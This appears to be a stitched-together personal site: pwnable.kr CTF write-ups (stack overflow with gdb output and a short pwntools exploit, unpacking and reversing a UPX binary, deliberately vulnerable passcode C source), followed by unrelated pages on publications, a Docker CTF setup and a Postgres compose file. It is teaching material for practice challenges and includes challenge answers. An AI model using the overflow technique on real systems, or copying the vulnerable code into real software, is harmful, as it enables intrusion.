0d:0034│     0xffffd6f4 ◂— 'DDDDDDDD'
0e:0038│     0xffffd6f8 ◂— 'DDDD'
0f:003c│     0xffffd6fc ◂— 0xaec67700
10:0040│     0xffffd700 —▸ 0x56556ff4 ◂— 0x1f14
11:0044│     0xffffd704 —▸ 0xf7fbb000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1f2d6c
12:0048│ ebp 0xffffd708 —▸ 0xffffd728 ◂— 0x0
13:004c│     0xffffd70c —▸ 0x5655569f (main+21)
14:0050│     0xffffd710 ◂— 0xdeadbeef

I'm using the Gnu DeBugger gdb here in combination with pwndbg for having a nice interface that doesn't rely on me memorizing dozens of obscure commands.

The graphic above displays the entries on the stack. The first column shows us the nuber of the element, starting at the top of the stack with the offset. After the pipe, there's a column in which three registers are displayed (esp, eax and ebp). This is a nice feature of pwndbg, namely pwndbg realized that we are looking at values with some registers containing those addresses, meaning that for example, the stack pointer esp is pointing to the top of the stack, so pwndbg displays this. The next column contains the address of the value. As the stack is stored in memory, the position of values on the stack can be defined using a memory address. For example, the stack pointer esp, currently contains the value 0xffffd6c0.

Now let's get into the interesting part: the values entered. I've executed the binary and entered AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD (you might have guessed that by now). Now you might ask yourself why pwndbg displays that value as weirdly as it is from the stack values 07 to 0e. Well, the string is contained in that memory region, it's just pwndbg trying to be helpful by displaying the whole string from that point on.

The more interesting part start's below here:

0e:0038│     0xffffd6f8 ◂— 'DDDD'
0f:003c│     0xffffd6fc ◂— 0xaec67700
10:0040│     0xffffd700 —▸ 0x56556ff4 ◂— 0x1f14
11:0044│     0xffffd704 —▸ 0xf7fbb000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1f2d6c
12:0048│ ebp 0xffffd708 —▸ 0xffffd728 ◂— 0x0

The top line contains the last bytes of our 32 bytes long string. Now if out input would be checked, as in: it should be at most 32 bytes long, this wouldn't be a problem, but as we can enter an input with an arbitrary length, we can overwrite past the bounds of the buffer. If we input a string longer than 32 bytes, for example 56 bytes, we can overwrite the values after 0xffffd6fc:

0e:0038│     0xffffd6f8 ◂— 'DDDDEEEEEEEEFFFFFFFF'
0f:003c│     0xffffd6fc ◂— 'EEEEEEEEFFFFFFFF'
10:0040│     0xffffd700 ◂— 'EEEEFFFFFFFF'
11:0044│     0xffffd704 ◂— 'FFFFFFFF'
12:0048│ ebp 0xffffd708 ◂— 'FFFF'

As you can see above, the input didn't stop with DDDD, but was longer than 32 bytes containing the previous string concatinated with EEEEEEEEFFFFFFFF. This means that we could replace EEEEEEEEFFFFFFFF with arbitrary values that would corrupt the control flow, as the binary uses the values stored on the stack to determine what to do, when done executing the function.

Exploiting

For now, we only need to overwrite the 0xdeadbeef value passed as an argument to the func function. For this, we need to locate the value in memory (on the stack) in order to determine how much memory we need to overwrite in order to overwrite 0xdeadbeef.

Here an extraction from the original input (AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD) which did fit perfectly into our buffer:

...
07:001c│ eax 0xffffd6dc ◂— 'AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD'
08:0020│     0xffffd6e0 ◂— 'AAAABBBBBBBBCCCCCCCCDDDDDDDD'
09:0024│     0xffffd6e4 ◂— 'BBBBBBBBCCCCCCCCDDDDDDDD'
0a:0028│     0xffffd6e8 ◂— 'BBBBCCCCCCCCDDDDDDDD'
0b:002c│     0xffffd6ec ◂— 'CCCCCCCCDDDDDDDD'
0c:0030│     0xffffd6f0 ◂— 'CCCCDDDDDDDD'
0d:0034│     0xffffd6f4 ◂— 'DDDDDDDD'
0e:0038│     0xffffd6f8 ◂— 'DDDD'
0f:003c│     0xffffd6fc ◂— 0xaec67700
10:0040│     0xffffd700 —▸ 0x56556ff4 ◂— 0x1f14
11:0044│     0xffffd704 —▸ 0xf7fbb000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1f2d6c
12:0048│ ebp 0xffffd708 —▸ 0xffffd728 ◂— 0x0
13:004c│     0xffffd70c —▸ 0x5655569f (main+21)
14:0050│     0xffffd710 ◂— 0xdeadbeef
...

The stack is 4 bytes "wide", so our string is split up into 8 lines, we can see the 0xdeadbeef value passed into the function at the bottom. In order to override this, we thus have to write 32 bytes to fill the buffer, 5 * 4 bytes in order to overwrite the space between the buffer and the value we want to overwrite and then four more bytes in order to overwrite 0xdeadbeef with 0xcafebabe:

So in the end, this simple "exploit" looks like this:

from pwn import *

#p = remote('pwnable.kr', 9000)
p = process('./bof')

payload = (32 * 'A') + ((5 * 4) * 'B') + '\xbe\xba\xfe\xca' + "\n"
p.sendlineafter("overflow me :", payload)
p.interactive()

flag

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

What is given?

We only get a binary.

Understanding the source

There is no source, wait, there is! The binary itself. Altough the binary might not look like sourcecode (it really isn't), it contains instructions for our CPU to execute. Now we're only given this binary, so we'll have to do something with it...

Starting off, instead of directly jumping into some crazy tools, I like to get an overview of the binary by looking at the strings contained withing it. Yes, you read that right. For this, simply executing string -n 16 is enough to get some information that might give us some understanding on what we've got in front of us:

root@a80be868eac7:/pwn# strings -n 16 flag | nl
     1	'''' (0h''''HPX`
     2	FFFF|vpjFFFFd^XR
     3	^0HMdZp)->? & 0+03
     4	?../:deps/x86_64
     5	?_OUTPU1YNAMIC_WEAK
     6	_~SO/IEC 14652 i18n FDC
     7	*+,-./0>3x6789:;<=>?
     8	@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
     9	`abcdefghijklmnopqrstuvwxyz{|}~
    10	ANSI_X3.4&968//T
    11	 "9999$%&/999956799999:<DG9999HI_`
    12	 ''''!#$`''''abcd''''efgh''''ijkl''''mnop''''qrst''''uvwx''''yz{|''''}~
    13	Q2R''''STUV''''WXYZ''''[\]^''''_
    14	MNONNNNPRTUNNNNVWYZNNNN[\_`NNNNabcdNNNNefhi
    15	 rrrr!"#$rrrr%&'(rrrr)*+,rrrr-./0rrrr1234rrrr5678rrrr9;<=rrrr>@ABrrrrCDFJrrrrKLMNrrrrOPRSrrrrTUVWrrrrXYZ[rrrr\]^_rrrr`abcrrrrdefgrrrrhijkrrrrlmnorrrrpqrsrrrrtuvwrrrrxyz{rrrr|}~
    16	 !"9999#$%&9999'()*9999+,-.9999/012999934569999789:9999;<=>9999?@AB9999CDEF9999GHIJ9999KLMN9999OPQR9999STUV9999WXYZ9999[\]^9999_`ab9999cdef9999ghij9999klmn9999opqr9999stuv9999wxyz9999{|}~9999
    17	'12Wr%W345%Wr%67x!Wr892
    18	b'cdr%WrefgWr%Whij%Wr%klr%WrmnoWr%Wpqr%Wr%str%WruvwWr%Wxyz%Wr%ABr%WrCDEWr%WFGH%Wr%IJr%WrKLMWr%WNOP%Wr%QRr%WrSTUWr%WVWX%Wr%YZ
    19	pchuilqesyuustuw
    20	 $9999(/6>9999HQXa9999eimq9999uy}
    21	&9223372036854775807L`
    22	PROT_EXEC|PROT_WRITE failed.
    23	$Info: This file is packed with the UPX executable packer http://upx.sf.net $
    24	$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
    25	GCC: (Ubuntu/Linaro 4.6.3-1u)#
    26	DEH_FRAME_BEGINf
    27	_PRETTY_FUNCT0Na

Now this might look pretty crazy, but there is information in there: The most important being the one in line 23: This file is packed with the UPX executable packer. For looking at the content of the binary, me must first unpack it using UPX, the Ultimate Packer for eXecutables:

root@a80be868eac7:/pwn# upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    335288   37.94%   linux/amd64   flag

Unpacked 1 file.

Having unpacked the file, we can look around it it using radare2:

root@a80be868eac7:/pwn# r2 flag
 -- ==1337== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
[0x00401058]>

Don't worry, the text after opening radare just displays some joke.

Now that you've got the binary open in radare, you've got to tell radare to analyze it. As radare is operated a lot through commands consisting of letter combinations, you'll probably find it weird. That's ok, that's totally normal and it'll stay that way for a while. In order to get familliar with commands, you can add the suffix ? and radare will present you with options. For example, as we want to analyze, we'll probably want to find out how radare can analyze. For this, we can use the following command and read the output:

[0x00401058]> a?
Usage: a  [abdefFghoprxstc] [...]
| a                  alias for aai - analysis information
| a*                 same as afl*;ah*;ax*
| aa[?]              analyze all (fcns + bbs) (aa0 to avoid sub renaming)
| a8 [hexpairs]      analyze bytes
| ab[?]              analyze basic block
| ac[?]              manage classes
| aC[?]              analyze function call
| aCe[?]             same as aC, but uses esil with abte to emulate the function
| ad[?]              analyze data trampoline (wip)
| ad [from] [to]     analyze data pointers to (from-to)
| ae[?] [expr]       analyze opcode eval expression (see ao)
| af[?]              analyze functions
| aF                 same as above, but using anal.depth=1
| ag[?] [options]    draw graphs in various formats
| ah[?]              analysis hints (force opcode size, ...)
| ai [addr]          address information (show perms, stack, heap, ...)
| aj                 same as a* but in json (aflj)
| aL                 list all asm/anal plugins (e asm.arch=?)
| an [name] [@addr]  show/rename/create whatever flag/function is used at addr
| ao[?] [len]        analyze Opcodes (or emulate it)
| aO[?] [len]        Analyze N instructions in M bytes
| ap                 find prelude for current offset
| ar[?]              like 'dr' but for the esil vm. (registers)
| as[?] [num]        analyze syscall using dbg.reg
| av[?] [.]          show vtables
| ax[?]              manage refs/xrefs (see also afx?)

Here, radare lists all possible commands that start with a. We'll want to get an understanding of the binary, or to be more precise, an understanding of what functions the binary consists of. For this, we can use the af command that will analyze the functions, so that we can use other commands to view information regarding them.

You can execute the af? command and look at the options that radare offers for analyzing functions. There's a lot, I'll use afr for analyzing the functions recursively. This should provide us with some information, or at least some information on what functions exist.

Now as the binary contains debug information, for example the name of the functions, radare can use this to our advantage. If you want to view the dissassembly of the main function, you can use the pd command (print dissassembly) using the sym.main argument:

[0x00401058]> s sym.main
[0x00401164]> pd
            ;-- main:
            0x00401164      55             push rbp
            0x00401165      4889e5         mov rbp, rsp
            0x00401168      4883ec10       sub rsp, 0x10
            0x0040116c      bf58664900     mov edi, str.I_will_malloc___and_strcpy_the_flag_there._take_it. ; 0x496658 ; "I will malloc() and strcpy the flag there. take it."
            0x00401171      e80a0f0000     call sym.puts
            0x00401176      bf64000000     mov edi, 0x64               ; 'd' ; 100
            0x0040117b      e850880000     call sym.malloc
            0x00401180      488945f8       mov qword [rbp - 8], rax
            0x00401184      488b15e50e2c.  mov rdx, qword [obj.flag]   ; [0x6c2070:8]=0x496628 str.UPX...__sounds_like_a_delivery_service_:_ ; "(fI"
            0x0040118b      488b45f8       mov rax, qword [rbp - 8]
            0x0040118f      4889d6         mov rsi, rdx
            0x00401192      4889c7         mov rdi, rax
            0x00401195      e886f1ffff     call 0x400320
            0x0040119a      b800000000     mov eax, 0
            0x0040119f      c9             leave
            0x004011a0      c3             ret
            0x004011a1      90             nop
            0x004011a2      90             nop
            0x004011a3      90             nop
            0x004011a4      90             nop
            0x004011a5      90             nop

Now radare prints a lot of information here, more than we'd actually like, but that's all right for now. For your understanding: the first column is the address of the instruction displayed, the second column the raw instruction and the third column contains the dissassembled instruction for us to read (reading the second column isn't really nice).

Reversing is mainly the art of starting from the bottom and working your way up, so known what to look out for is great. In radare, function calls are highlighted (it depends on how your terminal is setup, but the color of the call ... calls should be somehow different). Using these, you can get a quite nice understanding of what is happening, assuming that you've got names for the calls. In out case, we have! Let's go through the main function a few lines at a time, so you can get an understanding of what is happening:

           ;-- main:

This is just a comment radare inserted for us to tell us: this is the "main" function. Useful, but not doing much...

            0x00401164      55             push rbp
            0x00401165      4889e5         mov rbp, rsp

Now this is a classic. When functions are called, a new stack frame is created. For this, information on the "old" parent frame needs to be stored somewhere. This is done like this: the old base pointer rbp is pushed onto the stack and the value of the old stack pointer is moved into the base pointer, "moving" it up, so that the base of the new frame lies above the top value of the last frame. (I'd recommend you to read the x86 calling conventions Wikipedia article and/or some blogposts on how function are called in assembler/c for understanding this topic, as it is really fundamental for everything to come).

            0x00401168      4883ec10       sub rsp, 0x10

as soon as we've created the new stack frame, we'll subtract 0x10 from the frame pointer moving it "up". Now this might sound weird at first, but think about how the stack is located in memory, in which direction it "grows" and what the implications of this action is. If we're going to write some local arguments somewhere, we need somewhere to store them. With this operation, we've just made some space for this to happen.

            0x0040116c      bf58664900     mov edi, str.I_will_malloc___and_strcpy_the_flag_there._take_it. ; 0x496658 ; "I will malloc() and strcpy the flag there. take it."
            0x00401171      e80a0f0000     call sym.puts

And now, our first call. I've grouped this into two lines, as they belong together quite fundamentally. The first line moves the string I will malloc() and strcpy the flag there. take it. into the edi register (or to be more precise, a pointer to the string, as we can't fit the whole string into that small register). For understanding why this is insteresting and what happens next, you need to understand how function arguments are passed in 64-bit x86 assembler: The first 6 arguments are passed via registers (rdi, rsi, rdx, rcx, r9, r8 respectively), if there are more, they are pushed onto the stack. (Sidenote: in 32-bit x86 assembler, all arguments are pushed onto the stack). This means that in out case here, we insert the string into the rdi register that is the first argument used when a function is called. Looking into the next line, tada, a function is called!. The function sym.puts is called (the function is just called puts, the sym is inserted there by radare indicating that this information is taken from the symbols table). Reading the puts manpage (man puts) enlightens us on what puts does: it prints the first argument it gets to stdout.

And that's pretty much it! These two lines prepared a string to be prineted by inserting a pointer to it into the correct register and then called a function printing the string.

Let's go on...

            0x00401176      bf64000000     mov edi, 0x64               ; 'd' ; 100
            0x0040117b      e850880000     call sym.malloc

Same game: we're inserting the value 0x64 into the edi register (edi is just the lower 32 bits of the rdi register (e prefix = 32 bit, r prefix = 64 bit)). After inserting the value into the register, we can call the malloc function which will allocate some memory for us. In order to use this memory, we can use the return value that is stored in the rax register (just memorize this, put a post it on your screen or so).

Having called malloc, the string printed before spoilers a bit, but let's look at what's happening now...

            0x00401180      488945f8       mov qword [rbp - 8], rax
            0x00401184      488b15e50e2c.  mov rdx, qword [obj.flag]   ; [0x6c2070:8]=0x496628 str.UPX...__sounds_like_a_delivery_service_:_ ; "(fI"
            0x0040118b      488b45f8       mov rax, qword [rbp - 8]

This looks quite weird at first, let's try to understand it (I've removed the long comment bellow):

  • mov qword [rbp - 8], rax
    • this moves the value stored in rax (the pointer to the memory we've allocated before) into the value stored at [rbp - 8]. It might be interesting what exactly is here, but let's first look at what's happening next.
  • mov rdx, qword [obj.flag]
    • the obj.flag quad word (qword) is moved into the rdx register. Now this is obviously our flag. We can print the value of this object in radare using the pf S @obj.flag command (I'd highly suggest you look at the output of the following commands: p?, pf?, pf??). This prints out the flag, so this challenge is actually done here, but for the sake of completeness, let's finish going through this function, as you might still learn something.
  • mov rax, qword [rbp - 8]
    • Now this moves back the value temporarily stored at rbp - 8 into the rax register. Not really interesting, just the use of a local variable.
            0x0040118f      4889d6         mov rsi, rdx
            0x00401192      4889c7         mov rdi, rax
            0x00401195      e886f1ffff     call 0x400320

We've got another function call here, as you can see. The arguments are populated using the values stored in the rdx and rax registers, but I'm not really in the mood for looking into this function, as we've already found the flag.

            0x0040119a      b800000000     mov eax, 0
            0x0040119f      c9             leave
            0x004011a0      c3             ret

We're now getting to the end of the function. As when calling a function, when leaving a function, there are a few things that need to be done:

  • inserting a value into eax allows us to define a return value, as the caller will expect a value there indicating the return value
  • restoring the old stack frame (just lookup what leave and ret do)
            0x004011a1      90             nop
            0x004011a2      90             nop
            ...

The rest if filled with nops. I don't know why, but it works.

Exploiting

Well, no exploiting in this challenge, just reversing...

Flag

UPX...? sounds like a delivery service :)

passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

What is given?

We get a binary passcode, and the source it is compiled from passcode.c. There is a file called flag in the same directory, but we can't read it (the passcode binary can!).

Here the full source from the passcode.c file:

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
    } else{
        printf("Login Failed!\n");
        exit(0);
    }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

Understanding the source

I won't go over every line of this, but will describe this on a more high level:

We've got three functions: the main function doesn't do much except for calling the welcome and login function, so let's look at them:

The welcome function

...is fairly short:

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

It defines a 100 bytes big char buffer, takes some input from stdin and writes it into the buffer and prints the content of the buffer (until the nullbyte defining the end of the string).

Now the rollercoaster of emotions: scanf itself does not check if the buffer it writes into can handle all the input, so with the right format string, we could overflow the buffer. The problem: the provided format %100s string works as a filter for our input making it impossible to overflow the buffer.

The login function

...is a bit longer:

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
    } else{
        printf("Login Failed!\n");
        exit(0);
    }
}

Let's go over the contents of the function to understand what is going on here:

void login(){

The function is called login, doesn't take any arguments and doesn't return anything, nothing special here.

    int passcode1;
    int passcode2;

Two local variables are defined, used later on.

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

We read two passcode values, using scanf which again is vulnerable, as there are no bound checks.

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
    } else{
        printf("Login Failed!\n");
        exit(0);
    }
}

Exploiting

Publications

I'd like to say that publications are kind of blogposts, but not hosted on this page. In that sense, I've "published" some stuff in the past and surely will in the future. This page is here to collect that information.

2020

Publications made in 2020

Accelerating simulations by clustering bodies using the Barnes-Hut algorithm

This is a condensed version of my 2019 Jugend Forscht Project.

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

2019

Publications made in 2019

Galaxy Simulation

This is the resulting "Langfassung" of my 2018-2019 Jugend Forscht Project.

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

Files

"Hey, do you have a copy of this setup ready?". Sharing files containing information that others might find useful is great, that's why this sections exists: for having this a bit more accessible.

pwn setup

My setup for solving pwn challenges in CTFs consists of a docker image that is handled using some aliases that are described further down.

docker build . -t ctf:ubuntu20.10

# Dockerfile

FROM ubuntu:20.10

ENV DEBIAN_FRONTEND=noninteractive

RUN dpkg --add-architecture i386
RUN apt update -y
RUN apt upgrade -y

RUN apt install -y build-essential cmake curl dnsutils gcc gcc-multilib gdb gdb-multiarch git golang jq libc6:i386 libdb-dev libffi-dev libncurses5:i386 libpcre3-dev libssl-dev libstdc++6:i386 libxaw7-dev libxt-dev ltrace make netcat net-tools pkg-config procps python python3 python3-dev python3-pip radare2 rubygems sqlmap strace tmux upx vim wget

RUN pip install capstone requests r2pipe huepy
RUN pip3 install pwntools keystone-engine unicorn capstone ropper angr

RUN r2pm update
RUN mkdir tools && cd tools && \
git clone https://github.com/JonathanSalwan/ROPgadget && \
git clone https://github.com/radare/radare2 && cd radare2 && sys/install.sh && \
cd .. && git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

bash aliases

# aliases.txt

# make (pmk <name>)
alias pmk='function _dockermk(){docker run -v "$(pwd):/pwn" \
--cap-add=SYS_PTRACE --security-opt seccomp=unconfined -d --name $1 -i \
ctf:ubuntu20.10;};_dockermk'

# change directory into the /pwn folder of the container (pcd <name>)
alias pcd='function _dockercd(){docker exec -it --workdir /pwn $1 bash;};_dockercd'

# delete the container with the given name (prm <name>)
alias prm='function _dockerrm(){docker stop $1;};_dockerrm'

# list all containers using the docker image (this is hardcoded → adapt to
# your needs
alias pls='function _dockerls(){docker ps -a -f ancestor=ctf:ubuntu20.10 \
--format "{{.Names}}";};_dockerls'

fish functions

# aliases_fish.txt

function pmk --argument name
    docker run --rm -v (pwd)':/pwn' --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -d --name $name -i ctf:ubuntu20.10
end

function pcd --argument name
    docker exec -it -e TERM=xterm-256color --workdir /pwn $name bash
end

function prm --argument name
    docker stop $name
end

function pls
    docker ps -a -f ancestor=ctf:ubuntu20.10 --format '{{.Names}}'
end

Postgres Docker-Compose

This is a basic dockerfile for quickly setting up a postgres database and pgadmin4.

Make sure to change the passwords!

version: "3"

services:
  postgres:
    image: postgres:12.1
    hostname: postgres
    ports:
      - "5432:5432"
    environment:
      POSTGRES_USER: CHANGEME
      POSTGRES_PASSWORD: CHANGEME
    volumes:
      - postgres_volume:/var/lib/postgresql
    networks:
      - database
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    ports:
      - "5554:80"
    environment:
      PGADMIN_DEFAULT_EMAIL: CHANGEME
      PGADMIN_DEFAULT_PASSWORD: CHANGEME
    restart: unless-stopped
    networks:
      - database

volumes:
  postgres_volume: {}

networks:
  database:

Hackspace Events sorted by weekday